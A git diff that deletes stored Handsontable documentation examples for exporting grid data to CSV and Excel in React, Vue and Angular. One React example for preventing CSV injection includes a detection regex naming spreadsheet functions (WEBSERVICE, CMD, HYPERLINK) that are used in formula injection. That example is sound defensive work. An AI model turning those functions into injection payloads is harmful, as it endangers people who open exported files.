a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json deleted file mode 100644 index 953ec2a5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example1.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json deleted file mode 100644 index d52c8462..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n const exportedBlob = exportPlugin?.exportAsBlob('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedBlob);\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example2.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json deleted file mode 100644 index 4f92befa..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example3.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const buttonClickCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n const exportedString = exportPlugin?.exportAsString('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: false,\n exportHiddenRows: false,\n rowDelimiter: '\\r\\n',\n rowHeaders: true,\n });\n\n console.log(exportedString);\n };\n\n return (\n <>\n
    \n
    \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example3.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json deleted file mode 100644 index bd68cabe..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n const downloadWithNoSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n });\n };\n\n const downloadWithRecommendedSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: true,\n });\n };\n\n const downloadWithRegexpSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: /WEBSERVICE|CMD|HYPERLINK|^\\+/,\n });\n };\n\n const downloadWithFunctionSanitizationCallback = () => {\n const hot = hotRef.current?.hotInstance;\n const exportPlugin = hot?.getPlugin('exportFile');\n\n exportPlugin?.downloadFile('csv', {\n bom: false,\n columnDelimiter: ',',\n colHeaders: false,\n exportHiddenColumns: true,\n exportHiddenRows: true,\n fileExtension: 'csv',\n filename: 'Handsontable-CSV-file_[YYYY]-[MM]-[DD]',\n mimeType: 'text/csv',\n rowDelimiter: '\\r\\n',\n sanitizeValues: (value) => {\n return /WEBSERVICE|CMD|HYPERLINK|^\\+/.test(value) ? 'REMOVED SUSPICIOUS CELL CONTENT' : value;\n },\n });\n };\n\n return (\n <>\n
    \n
    \n \n \n \n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/export-to-csv/react/example4.tsx","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json deleted file mode 100644 index 13e7b6f8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example1.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json deleted file mode 100644 index 70e4ae72..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Export as a JavaScript Blob object · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example2.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example2","exampleTitle":"Export as a JavaScript Blob object","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json deleted file mode 100644 index 19ec120c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Export as a string · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example3.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example3","exampleTitle":"Export as a string","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json deleted file mode 100644 index e294e7d4..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-csv__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessories And Menus ▸ Export to CSV · Prevent CSV Injection attack · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/export-to-csv/vue/example4.vue","breadcrumb":["Accessories And Menus","Export to CSV"],"guide":"guides/accessories-and-menus/export-to-csv/export-to-csv.md","guideTitle":"Export to CSV","exampleId":"example4","exampleTitle":"Prevent CSV Injection attack","docPermalink":"/export-to-csv","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json deleted file mode 100644 index 341367cb..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Export to Excel · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"exceljs\": \"latest\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport ExcelJS from 'exceljs';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example1',\n template: `\n
    \n
    \n \n
    \n
    \n\n \n \n `,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) hotTable!: HotTableComponent;\n\n readonly hotData = [\n ['Alice Martin', 'North', 142000, true, 'Exceeded Q1 target by 18%.'],\n ['Bob Chen', 'East', 98500, true, 'Strong pipeline for Q2.'],\n ['Carol Davies', 'South', 76200, false, 'Needs coaching on closing.'],\n ['David Kim', 'West', 115300, true, 'Cross-sell opportunity.'],\n ['Eva Rossi', 'North', 54800, false, 'Sick leave impacted March.'],\n ['TOTALS', '', null, '', ''],\n ];\n\n readonly hotSettings: GridSettings = {\n nestedHeaders: [\n [\n { label: 'Sales Representative', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Results', colspan: 2, headerClassName: 'htCenter' },\n { label: 'Notes', colspan: 1, headerClassName: 'htLeft' },\n ],\n ['Name', 'Region', 'Revenue ($)', 'Hit Target?', 'Notes'],\n ],\n columns: [\n { type: 'text' },\n { type: 'dropdown', source: ['North', 'South', 'East', 'West'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n { type: 'checkbox' },\n { type: 'text' },\n ],\n columnSummary: [\n {\n sourceColumn: 2,\n destinationRow: 5,\n destinationColumn: 2,\n type: 'sum',\n forceNumeric: true,\n },\n ],\n mergeCells: [{ row: 5, col: 0, rowspan: 1, colspan: 2 }],\n customBorders: [{ row: 5, col: 2, top: { width: 2, color: '#333333' } }],\n cell: [\n { row: 5, col: 0, readOnly: true },\n { row: 5, col: 2, readOnly: true },\n ],\n fixedColumnsStart: 1,\n rowHeaders: true,\n colHeaders: false,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n exportFile: { engines: { xlsx: ExcelJS } },\n afterInit(this: Handsontable) {\n this.setCellMeta(0, 4, 'comment', { value: 'Top sales rep — review for promotion.' });\n this.render();\n },\n };\n\n async exportFile(): Promise {\n const exportPlugin = this.hotTable.hotInstance!.getPlugin('exportFile');\n\n await exportPlugin.downloadFileAsync('xlsx', {\n filename: 'Q1-Sales-Report',\n colHeaders: true,\n rowHeaders: true,\n exportFormulas: true,\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/export-to-excel/angular/example1.ts","breadcrumb":["Accessories And Menus","Export to Excel"],"guide":"guides/accessories-and-menus/export-to-excel/export-to-excel.md","guideTitle":"Export to Excel","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/export-to-excel","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__export-to-excel__angular__example2.ts.json deleted file mode 100644 index 788d22d4..00000000 --- 